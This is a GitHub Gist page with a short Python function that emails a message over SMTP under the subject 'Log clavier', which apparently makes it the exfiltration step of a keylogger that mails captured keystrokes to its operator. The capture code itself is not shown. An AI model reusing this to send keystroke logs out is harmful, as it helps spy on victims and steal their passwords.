Created
January 30, 2019 10:31
-
-
Save melkael/73647eac9cc0032021bdc716395077bd to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def sendEmail(message): | |
msg = MIMEMultipart() | |
password = PASS | |
msg['From'] = EMAIL | |
msg['To'] = EMAIL | |
msg['Subject'] = "Log clavier" | |
msg.attach(MIMEText(message, 'plain')) | |
server = smtplib.SMTP(SERVER) | |
if USE_TLS is True: | |
server.starttls() | |
server.login(msg['From'], password) | |
server.sendmail(msg['From'], msg['To'], msg.as_string()) | |
server.quit() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment